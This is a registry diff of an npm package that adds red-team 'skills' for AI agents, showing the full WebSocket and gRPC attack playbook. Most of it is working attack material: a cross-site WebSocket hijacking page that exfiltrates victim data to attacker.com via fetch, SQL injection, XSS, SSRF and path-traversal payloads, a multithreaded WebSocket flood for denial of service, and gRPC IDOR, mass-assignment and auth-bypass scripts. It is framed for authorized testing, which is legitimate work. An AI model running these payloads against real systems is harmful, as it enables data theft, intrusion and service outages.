rtexit-method 0.1.5 → 0.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-bluetooth-ble/SKILL.md +302 -0
- package/packaged-assets/.agents/skills/rt-browser-exploitation/SKILL.md +244 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md +357 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-serverless/SKILL.md +274 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-websockets-grpc/SKILL.md +357 -0
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-websockets-grpc
|
|
3
|
+
description: "WebSocket and gRPC/protobuf attack skill for authorized engagements. WebSocket authentication bypass, message manipulation, cross-site WebSocket hijacking (CSWSH), WebSocket-based SQLi/XSS/SSRF injection, gRPC endpoint enumeration, protobuf message decoding and tampering, gRPC reflection abuse, and server-sent events testing. Use when testing modern web applications using real-time communication protocols."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-websockets-grpc — WebSocket & gRPC/Protobuf Attacks
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Modern web applications increasingly use WebSockets for real-time features (chat, notifications, live data) and gRPC for microservice communication. These protocols bypass many traditional WAF rules and security controls designed for HTTP/REST — creating overlooked attack surfaces.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Part 1 — WebSocket Attacks
|
|
15
|
+
|
|
16
|
+
### Phase 1 — WebSocket Discovery & Interception
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Find WebSocket connections
|
|
20
|
+
# Browser DevTools → Network → WS tab (filter by WS)
|
|
21
|
+
# Look for: ws:// or wss:// connections in page source
|
|
22
|
+
|
|
23
|
+
# Identify via Burp Suite
|
|
24
|
+
# Proxy → WebSockets history tab shows all WS messages
|
|
25
|
+
# Intercept → tick "Intercept WebSocket messages"
|
|
26
|
+
|
|
27
|
+
# Discover WebSocket endpoints
|
|
28
|
+
grep -r "new WebSocket\|io.connect\|socket.connect" ./js_files/
|
|
29
|
+
grep -r "ws://\|wss://" ./js_files/
|
|
30
|
+
|
|
31
|
+
# Test with wscat (WebSocket client)
|
|
32
|
+
npm install -g wscat
|
|
33
|
+
wscat -c wss://target.com/ws
|
|
34
|
+
wscat -c wss://target.com/ws -H "Cookie: session=YOUR_SESSION"
|
|
35
|
+
# > {"type":"ping"}
|
|
36
|
+
# < {"type":"pong"}
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
### Phase 2 — Authentication Bypass
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
# WebSocket auth often handled differently from HTTP
|
|
43
|
+
# Common patterns:
|
|
44
|
+
# 1. Auth via initial HTTP handshake (Upgrade request carries cookie/token)
|
|
45
|
+
# 2. Auth via first WS message after connection
|
|
46
|
+
# 3. No auth on WS (assumes network-level controls)
|
|
47
|
+
|
|
48
|
+
# Test: connect without auth credentials
|
|
49
|
+
wscat -c wss://target.com/ws # No cookie
|
|
50
|
+
# Send normal messages — if responses come back = no auth
|
|
51
|
+
|
|
52
|
+
# Token in URL (insecure — logged in server access logs)
|
|
53
|
+
wscat -c "wss://target.com/ws?token=LEAKED_TOKEN"
|
|
54
|
+
|
|
55
|
+
# Test with other users' tokens
|
|
56
|
+
wscat -c wss://target.com/ws -H "Cookie: session=OTHER_USER_SESSION"
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Phase 3 — Cross-Site WebSocket Hijacking (CSWSH)
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
# WebSocket upgrade requests don't enforce SameSite cookie by default
|
|
63
|
+
# If no CSRF token in handshake → CSWSH possible
|
|
64
|
+
|
|
65
|
+
# Check: does WS upgrade include CSRF token?
|
|
66
|
+
# Burp: look at GET /ws HTTP/1.1 request — only Origin + Cookie = vulnerable
|
|
67
|
+
|
|
68
|
+
# CSWSH PoC (attacker's page)
|
|
69
|
+
cat > cswsh.html << 'EOF'
|
|
70
|
+
<html><body>
|
|
71
|
+
<script>
|
|
72
|
+
var ws = new WebSocket('wss://target.com/ws');
|
|
73
|
+
// Cookie sent automatically (same as victim's browser)
|
|
74
|
+
ws.onopen = function() {
|
|
75
|
+
ws.send('{"type":"get_profile"}'); // Request victim's data
|
|
76
|
+
};
|
|
77
|
+
ws.onmessage = function(e) {
|
|
78
|
+
// Exfil to attacker
|
|
79
|
+
fetch('https://attacker.com/collect?data=' + encodeURIComponent(e.data));
|
|
80
|
+
};
|
|
81
|
+
</script>
|
|
82
|
+
</body></html>
|
|
83
|
+
EOF
|
|
84
|
+
# Host cswsh.html → trick victim into visiting → their WS messages exfiltrated
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
### Phase 4 — WebSocket Message Injection
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
# Inject attack payloads into WebSocket messages
|
|
91
|
+
# SQLi, XSS, SSRF, Command injection via WS
|
|
92
|
+
|
|
93
|
+
# SQLi in WS message
|
|
94
|
+
wscat -c wss://target.com/ws -H "Cookie: session=SESSION"
|
|
95
|
+
> {"action":"search","query":"test' OR '1'='1"}
|
|
96
|
+
> {"action":"search","query":"' UNION SELECT password FROM users--"}
|
|
97
|
+
|
|
98
|
+
# XSS via WS (reflected to other clients in chat apps)
|
|
99
|
+
> {"type":"message","content":"<img src=x onerror=alert(document.cookie)>"}
|
|
100
|
+
|
|
101
|
+
# SSRF via WS
|
|
102
|
+
> {"action":"fetch_url","url":"http://169.254.169.254/latest/meta-data/"}
|
|
103
|
+
> {"action":"fetch_url","url":"http://internal-service:8080/admin"}
|
|
104
|
+
|
|
105
|
+
# Path traversal
|
|
106
|
+
> {"action":"read_file","path":"../../../../etc/passwd"}
|
|
107
|
+
|
|
108
|
+
# Burp Suite — modify WS messages in flight
|
|
109
|
+
# WebSockets history → right-click message → Send to Repeater
|
|
110
|
+
# Modify payload → Send
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### Phase 5 — WebSocket Denial of Service
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
# Large message flood
|
|
117
|
+
python3 << 'EOF'
|
|
118
|
+
import websocket, threading
|
|
119
|
+
|
|
120
|
+
def flood():
|
|
121
|
+
ws = websocket.WebSocket()
|
|
122
|
+
ws.connect("wss://target.com/ws",
|
|
123
|
+
header=["Cookie: session=SESSION"])
|
|
124
|
+
payload = "A" * 65535 # Max frame size
|
|
125
|
+
for _ in range(1000):
|
|
126
|
+
ws.send(payload)
|
|
127
|
+
|
|
128
|
+
threads = [threading.Thread(target=flood) for _ in range(50)]
|
|
129
|
+
[t.start() for t in threads]
|
|
130
|
+
[t.join() for t in threads]
|
|
131
|
+
EOF
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## Part 2 — gRPC / Protobuf Attacks
|
|
137
|
+
|
|
138
|
+
### Phase 1 — gRPC Discovery & Enumeration
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
# gRPC runs over HTTP/2 on port 443 or custom ports
|
|
142
|
+
# Content-Type: application/grpc
|
|
143
|
+
|
|
144
|
+
# Fingerprint gRPC
|
|
145
|
+
curl -I https://target.com/
|
|
146
|
+
# Look for: content-type: application/grpc
|
|
147
|
+
|
|
148
|
+
nmap -sV -p 443,50051,8443 TARGET_IP
|
|
149
|
+
# 50051 = common gRPC default port
|
|
150
|
+
|
|
151
|
+
# gRPC reflection (server lists its services — if enabled)
|
|
152
|
+
# grpc_cli tool
|
|
153
|
+
apt install grpc-cli -y 2>/dev/null || pip3 install grpcurl
|
|
154
|
+
|
|
155
|
+
# grpcurl — curl for gRPC
|
|
156
|
+
grpcurl -plaintext TARGET_IP:50051 list
|
|
157
|
+
# Output: list of services
|
|
158
|
+
# com.target.UserService
|
|
159
|
+
# com.target.AuthService
|
|
160
|
+
|
|
161
|
+
grpcurl -plaintext TARGET_IP:50051 list com.target.UserService
|
|
162
|
+
# Output: methods
|
|
163
|
+
# GetUser
|
|
164
|
+
# CreateUser
|
|
165
|
+
# UpdateUser
|
|
166
|
+
|
|
167
|
+
grpcurl -plaintext TARGET_IP:50051 describe com.target.UserService.GetUser
|
|
168
|
+
# Output: full proto definition including field names/types
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
### Phase 2 — Protobuf Message Decoding
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
# gRPC messages are binary protobuf — not human readable
|
|
175
|
+
# Decode to understand structure
|
|
176
|
+
|
|
177
|
+
# Install protobuf tools
|
|
178
|
+
pip3 install protobuf grpcio grpcio-tools
|
|
179
|
+
|
|
180
|
+
# Capture gRPC traffic in Burp (HTTP/2 proxy)
|
|
181
|
+
# Raw protobuf bytes look like: 0a 05 68 65 6c 6c 6f
|
|
182
|
+
|
|
183
|
+
# Decode with protoc
|
|
184
|
+
python3 << 'EOF'
|
|
185
|
+
from google.protobuf import descriptor_pb2
|
|
186
|
+
from google.protobuf.message import DecodeError
|
|
187
|
+
import sys
|
|
188
|
+
|
|
189
|
+
# Raw protobuf bytes (from Burp intercept, after removing 5-byte gRPC header)
|
|
190
|
+
raw = bytes.fromhex("0a0568656c6c6f120577")
|
|
191
|
+
|
|
192
|
+
# Brute-force field interpretation
|
|
193
|
+
from google.protobuf import descriptor_pool, symbol_database
|
|
194
|
+
from google.protobuf.descriptor import FieldDescriptor
|
|
195
|
+
|
|
196
|
+
# Use protoscope for visual decode
|
|
197
|
+
# pip3 install protoscope
|
|
198
|
+
# protoscope < binary_message.bin
|
|
199
|
+
EOF
|
|
200
|
+
|
|
201
|
+
# blackboxprotobuf — decode unknown protobuf without .proto file
|
|
202
|
+
pip3 install blackboxprotobuf
|
|
203
|
+
python3 << 'EOF'
|
|
204
|
+
import blackboxprotobuf
|
|
205
|
+
message, typedef = blackboxprotobuf.decode_message(raw_bytes)
|
|
206
|
+
print(message)
|
|
207
|
+
# Shows field numbers and values even without proto definition
|
|
208
|
+
EOF
|
|
209
|
+
|
|
210
|
+
# Burp Suite gRPC extension
|
|
211
|
+
# BApp Store → "gRPC-Web" or "HTTP/2 over TLS"
|
|
212
|
+
# Automatically decodes protobuf in Burp UI
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
### Phase 3 — gRPC Message Tampering
|
|
216
|
+
|
|
217
|
+
```bash
|
|
218
|
+
# Intercept → decode → modify → re-encode → send
|
|
219
|
+
|
|
220
|
+
python3 << 'EOF'
|
|
221
|
+
import grpc
|
|
222
|
+
import target_pb2 # Generated from .proto (or reconstructed)
|
|
223
|
+
import target_pb2_grpc
|
|
224
|
+
|
|
225
|
+
# Connect to gRPC service
|
|
226
|
+
channel = grpc.insecure_channel('target.com:50051')
|
|
227
|
+
# For TLS:
|
|
228
|
+
# channel = grpc.secure_channel('target.com:443', grpc.ssl_channel_credentials())
|
|
229
|
+
|
|
230
|
+
stub = target_pb2_grpc.UserServiceStub(channel)
|
|
231
|
+
|
|
232
|
+
# Normal request
|
|
233
|
+
request = target_pb2.GetUserRequest(user_id=123)
|
|
234
|
+
response = stub.GetUser(request)
|
|
235
|
+
print(response)
|
|
236
|
+
|
|
237
|
+
# Tamper: access other user's data (IDOR)
|
|
238
|
+
for uid in range(1, 1000):
|
|
239
|
+
request = target_pb2.GetUserRequest(user_id=uid)
|
|
240
|
+
try:
|
|
241
|
+
response = stub.GetUser(request)
|
|
242
|
+
print(f"User {uid}: {response.username} | {response.email}")
|
|
243
|
+
except grpc.RpcError as e:
|
|
244
|
+
pass
|
|
245
|
+
|
|
246
|
+
# Mass assignment: send extra fields
|
|
247
|
+
request = target_pb2.UpdateUserRequest(
|
|
248
|
+
user_id=123,
|
|
249
|
+
name="test",
|
|
250
|
+
# Try admin field not in normal API
|
|
251
|
+
is_admin=True, # field 99 (guessed)
|
|
252
|
+
role="administrator" # field 100 (guessed)
|
|
253
|
+
)
|
|
254
|
+
response = stub.UpdateUser(request)
|
|
255
|
+
EOF
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
### Phase 4 — gRPC Authentication Bypass
|
|
259
|
+
|
|
260
|
+
```bash
|
|
261
|
+
# gRPC auth via metadata (HTTP headers equivalent)
|
|
262
|
+
|
|
263
|
+
# Check if auth is enforced on all methods
|
|
264
|
+
grpcurl -plaintext TARGET:50051 com.target.UserService/GetUser \
|
|
265
|
+
-d '{"user_id": 1}'
|
|
266
|
+
# If response without token → no auth
|
|
267
|
+
|
|
268
|
+
# JWT in metadata
|
|
269
|
+
grpcurl -plaintext TARGET:50051 com.target.UserService/GetUser \
|
|
270
|
+
-H "authorization: Bearer EXPIRED_OR_INVALID_JWT" \
|
|
271
|
+
-d '{"user_id": 1}'
|
|
272
|
+
|
|
273
|
+
# Try accessing admin methods without auth
|
|
274
|
+
grpcurl -plaintext TARGET:50051 com.target.AdminService/DeleteUser \
|
|
275
|
+
-d '{"user_id": 99}'
|
|
276
|
+
|
|
277
|
+
# gRPC reflection = information disclosure (if enabled in prod)
|
|
278
|
+
grpcurl -plaintext TARGET:50051 grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo
|
|
279
|
+
# Returns ALL service definitions — full API map without documentation
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
### Phase 5 — Injection via gRPC
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
# Inject attack payloads into protobuf string fields
|
|
286
|
+
|
|
287
|
+
python3 << 'EOF'
|
|
288
|
+
import grpc, target_pb2, target_pb2_grpc
|
|
289
|
+
|
|
290
|
+
channel = grpc.insecure_channel('target.com:50051')
|
|
291
|
+
stub = target_pb2_grpc.SearchServiceStub(channel)
|
|
292
|
+
|
|
293
|
+
# SQLi
|
|
294
|
+
payloads = [
|
|
295
|
+
"' OR '1'='1",
|
|
296
|
+
"' UNION SELECT password FROM users--",
|
|
297
|
+
"'; DROP TABLE users;--",
|
|
298
|
+
]
|
|
299
|
+
for p in payloads:
|
|
300
|
+
req = target_pb2.SearchRequest(query=p)
|
|
301
|
+
try:
|
|
302
|
+
r = stub.Search(req)
|
|
303
|
+
print(f"SQLi [{p[:20]}]: {r}")
|
|
304
|
+
except Exception as e:
|
|
305
|
+
print(f"Error: {e}")
|
|
306
|
+
|
|
307
|
+
# SSRF via URL field
|
|
308
|
+
req = target_pb2.FetchRequest(url="http://169.254.169.254/latest/meta-data/")
|
|
309
|
+
r = stub.Fetch(req)
|
|
310
|
+
print("SSRF response:", r.content[:200])
|
|
311
|
+
EOF
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## Tools Summary
|
|
317
|
+
|
|
318
|
+
```bash
|
|
319
|
+
# WebSocket tools
|
|
320
|
+
wscat # CLI WebSocket client
|
|
321
|
+
websocat # Feature-rich WS client (Rust)
|
|
322
|
+
wsfuzz # WebSocket fuzzer
|
|
323
|
+
|
|
324
|
+
# gRPC tools
|
|
325
|
+
grpcurl # curl equivalent for gRPC
|
|
326
|
+
grpc_cli # Official gRPC CLI
|
|
327
|
+
Evans # Interactive gRPC client (REPL)
|
|
328
|
+
blackboxprotobuf # Protobuf decode without .proto
|
|
329
|
+
Burp gRPC plugin # BApp Store
|
|
330
|
+
|
|
331
|
+
# Install Evans (interactive gRPC)
|
|
332
|
+
go install github.com/ktr0731/evans@latest
|
|
333
|
+
evans --host target.com --port 50051 --reflection repl
|
|
334
|
+
# Interactive: show package, show service, call GetUser
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
---
|
|
338
|
+
|
|
339
|
+
## Skill Levels
|
|
340
|
+
|
|
341
|
+
**BEGINNER:** wscat for WebSocket testing · grpcurl reflection enumeration · Basic message injection
|
|
342
|
+
|
|
343
|
+
**INTERMEDIATE:** CSWSH exploit · Protobuf decode with blackboxprotobuf · gRPC IDOR via field tampering
|
|
344
|
+
|
|
345
|
+
**ADVANCED:** Burp Suite WS/gRPC interception and modification · Authentication bypass chains · Mass assignment via unknown fields
|
|
346
|
+
|
|
347
|
+
**EXPERT:** Custom gRPC proxy for automated fuzzing · WebSocket race conditions · Binary protocol reverse engineering
|
|
348
|
+
|
|
349
|
+
---
|
|
350
|
+
|
|
351
|
+
## References
|
|
352
|
+
|
|
353
|
+
- PortSwigger WebSockets: https://portswigger.net/web-security/websockets
|
|
354
|
+
- grpcurl: https://github.com/fullstorydev/grpcurl
|
|
355
|
+
- blackboxprotobuf: https://github.com/nccgroup/blackboxprotobuf
|
|
356
|
+
- Evans: https://github.com/ktr0731/evans
|
|
357
|
+
- MITRE T1071.001: https://attack.mitre.org/techniques/T1071/001/
|